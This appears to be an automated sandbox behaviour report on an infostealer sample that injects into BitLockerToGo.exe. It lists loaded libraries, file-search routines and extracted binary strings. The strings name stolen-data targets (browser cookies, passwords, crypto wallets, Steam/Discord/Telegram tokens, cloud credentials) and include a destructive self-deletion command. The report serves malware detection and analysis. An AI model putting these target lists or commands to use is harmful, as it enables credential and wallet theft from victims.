Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6516 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6516 --field-trial-handle=2084,i,1114583297904604921,16776871692402841659,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\CYA75gigem.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: CYA75gigem.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: CYA75gigem.exe

Static file information: File size 9511424 > 1048576

Source: CYA75gigem.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x419400
Source: CYA75gigem.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x3f6600

Source: CYA75gigem.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: A{"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2comctl32gdi32:225121Windows 11HTTP/1.1HARDWARE\DESCRIPTION\System\CentralProcessor\0abcdefgh
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdbA source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp, CYA75gigem.exe, 00000001.00000002.1590446144.000000000A256000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: vdr1.pdb source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp, CYA75gigem.exe, 00000001.00000002.1590446144.000000000A256000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, BitLockerToGo.exe, 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A3DC000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A3DC000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdb source: CYA75gigem.exe, 00000001.00000002.1592577669.000000000A340000.00000004.00001000.00020000.00000000.sdmp, CYA75gigem.exe, 00000001.00000002.1590446144.000000000A256000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, BitLockerToGo.exe, 00000009.00000002.2101492330.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_0040E886 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_0040E886

Source: CYA75gigem.exe

Static PE information: section name: .symtab

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

9_2_0040E886

Source: C:\Users\user\Desktop\CYA75gigem.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CYA75gigem.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_9-11553

Source: C:\Windows\SysWOW64\timeout.exe TID: 5572

Thread sleep count: 87 > 30

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00412A5D wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_00412A5D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00407891 FindFirstFileA,CopyFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,FindNextFileA,FindClose,	9_2_00407891
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_0040A69C FindFirstFileA,StrCmpCA,CopyFileA,Sleep,DeleteFileA,FindNextFileA,FindClose,	9_2_0040A69C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00408776 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	9_2_00408776
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00413B10 SHGetFolderPathA,wsprintfA,FindFirstFileA,FindNextFileA,strcpy,_splitpath,strcpy,strlen,isupper,wsprintfA,strcpy,strlen,SHFileOperationA,FindNextFileA,FindNextFileA,FindClose,	9_2_00413B10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00411BD2 wsprintfA,FindFirstFileA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	9_2_00411BD2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_004013DA FindFirstFileA,FindNextFileA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindNextFileA,FindClose,	9_2_004013DA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00406784 ExpandEnvironmentStringsA,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,StrCmpCA,CopyFileA,CopyFileA,Sleep,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,memset,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	9_2_00406784
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00411187 wsprintfA,FindFirstFileA,memset,memset,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,SymMatchString,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	9_2_00411187
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00409C78 wsprintfA,FindFirstFileA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	9_2_00409C78
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00408224 FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_00408224
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 9_2_00412539 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	9_2_00412539

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_00411722 SymMatchString,SymMatchString,SymMatchString,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

9_2_00411722

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 9_2_0040DF8C GetSystemInfo,wsprintfA,

9_2_0040DF8C

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: ppp8y5.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: ppp8y5.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: ppp8y5.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: ppp8y5.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: ppp8y5.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: ppp8y5.9.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: ppp8y5.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: ppp8y5.9.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: ppp8y5.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: ppp8y5.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: BitLockerToGo.exe, 00000009.00000003.1660632126.00000000028C1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1647208456.00000000028C1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.00000000028BE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000003.1632368494.00000000028C1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000009.00000002.2101868029.0000000002858000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msedge.exe, 0000000E.00000002.1838743364.000001F800050000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: ppp8y5.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: ppp8y5.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: ppp8y5.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: ppp8y5.9.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: ppp8y5.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: ppp8y5.9.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: CYA75gigem.exe, 00000001.00000002.1589128183.000000000130E000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 0000000E.00000002.1840150713.0000022409842000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: ppp8y5.9.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: ppp8y5.9.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: ppp8y5.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: ppp8y5.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: ppp8y5.9.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: ppp8y5.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: ppp8y5.9.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: ppp8y5.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: ppp8y5.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: ppp8y5.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: ppp8y5.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: ppp8y5.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: ppp8y5.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: ppp8y5.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: ppp8y5.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_9-12152
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_9-12246
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node	graph_9-11858

